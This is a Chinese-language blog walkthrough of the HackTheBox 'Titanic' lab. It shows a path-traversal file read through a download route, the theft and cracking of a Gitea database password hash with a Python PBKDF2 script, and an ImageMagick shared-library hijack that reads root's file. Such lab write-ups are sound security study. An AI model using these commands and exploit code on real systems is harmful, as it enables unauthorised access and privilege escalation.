HackTheBox Season7 Titanic wp

一个比较简单的赛季靶场,就是服务器十分不稳定,打起来经常抽风,curl和ping都不通,有点磨人心态。。。打的时间估计一大半都是和抽风网络搏斗

一、信息收集
先nmap扫描一下ip吧,输入nmap -sV -sC 10.10.11.55 -Pn

可以看到需要自行前往hosts中添加10.10.11.55 titanic.htb后才能访问网页,添加后使用whatweb跑一下,看看有没有什么能利用的东西,发现并没有
再输入gobuster vhost -w /usr/share/amass/wordlists/subdomains-top1mil-5000.txt --append-domain -u http://titanic.htb/ -t 50看看有没有什么子域名,发现了一个dev.titanic.htb,同样添加到hosts中
访问一下titanic.htb,填写完信息

提交后发现自动进行了下载了操作,查看一下bp的http历史记录,发现一个download路由

抓个包看看能不能通过这个路由进行任意文件读取

发现可以,并且通过/etc/passwd命令可以得知能够利用的用户应该只有root和developer

二、userFlag
前面说到子域名跑出来了一个dev.titanic.htb,打开看一下是什么网页

发现是一个Gitea服务,并且版本号为1.22.1,点击左上角的探索(explore)看一下会不会有能够利用的源码,查看之后发现给出了gitea目录的路径

翻阅一下gitea官网的说明书

感觉默认配置大概就存放在/home/developer/gitea/data/gitea/conf/app.ini中,回去抓个包看看是不是这样

看来是对的,可以得知数据库的路径为/home/developer/gitea/data/gitea/gitea.db,试着下载下来,输入curl http://titanic.htb/download?ticket=/home/developer/gitea/data/gitea/gitea.db --output gitea.db,得到数据库文件

浏览数据库文件,在user表得到developer的密码为e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56,且加密方式为pbkdf2,用hashcat跑一下
hashcat跑的真的很慢……(看了一下网上的wp,感觉还是写个脚本跑得快),用一下网上大神的脚本吧

点击查看代码
import hashlib
import binascii
 
def pbkdf2_hash(password, salt, iterations=50000, dklen=50):
    hash_value = hashlib.pbkdf2_hmac(
        'sha256',
        password.encode('utf-8'),
        salt,
        iterations,
        dklen
    )
    return hash_value
 
def find_matching_password(dictionary_file, target_hash, salt, iterations=50000, dklen=50):
    target_hash_bytes = binascii.unhexlify(target_hash)
    
    with open(dictionary_file, 'r', encoding='utf-8') as file:
        count = 0
        for line in file:
            password = line.strip()
            hash_value = pbkdf2_hash(password, salt, iterations, dklen)
            count += 1
            print(f"正在检查密码 {count}: {password}")
            if hash_value == target_hash_bytes:
                print(f"\nFound password: {password}")
                return password
        print("Password not found.")
        return None
 
salt = binascii.unhexlify('8bf3e3452b78544f8bee9400d6936d34')
target_hash = 'e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56'
dictionary_file = '/usr/share/wordlists/rockyou.txt'
find_matching_password(dictionary_file, target_hash, salt)

成功破解出密码

,ssh登录一下developer用户ssh developer@10.10.11.55,输入密码

登录成功,获取一下userFlag

三、rootFlag
查看一下拥有写入权限的目录find /opt -writable -type d 2>/dev/null

再看看有执行权限的命令find / -type f -perm -u=x 2>/dev/null,发现一个/opt/scripts/identify_images.sh,查看一下脚本文件

从这段脚本代码可以得知我们需要的目录为/opt/app/static/assets/images/,并且能够知道imagemagick存在,先查看一下imagemagick版本信息

版本号为7.1.1-35,谷歌搜索一下imagemagick 7.1.1-35 exploit,第一个就是可以利用的任意代码执行漏洞> https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-8rxc-922v-phg8

我们需要在/opt/app/static/assets/images/目录下生成一个可执行的库来利用这个漏洞,并且前面得知该目录拥有写入权限
输入cd /opt/app/static/assets/images/进入该目录下,然后输入

点击查看代码
gcc -x c -shared -fPIC -o ./libxcb.so.1 - << EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) void init(){
    system("cp /root/root.txt root.txt; chmod 754 root.txt");
    exit(0);
}
EOF
这段代码会复制root.txt,并且给予权限。 一段时间后,当前目录下就会出现被复制的root.txt,输入`cat root.txt`即可看到rootflag

至此便拿到了所有的flag

posted @ 2025-03-02 19:57  Ayame  阅读(308)  评论(0)    收藏  举报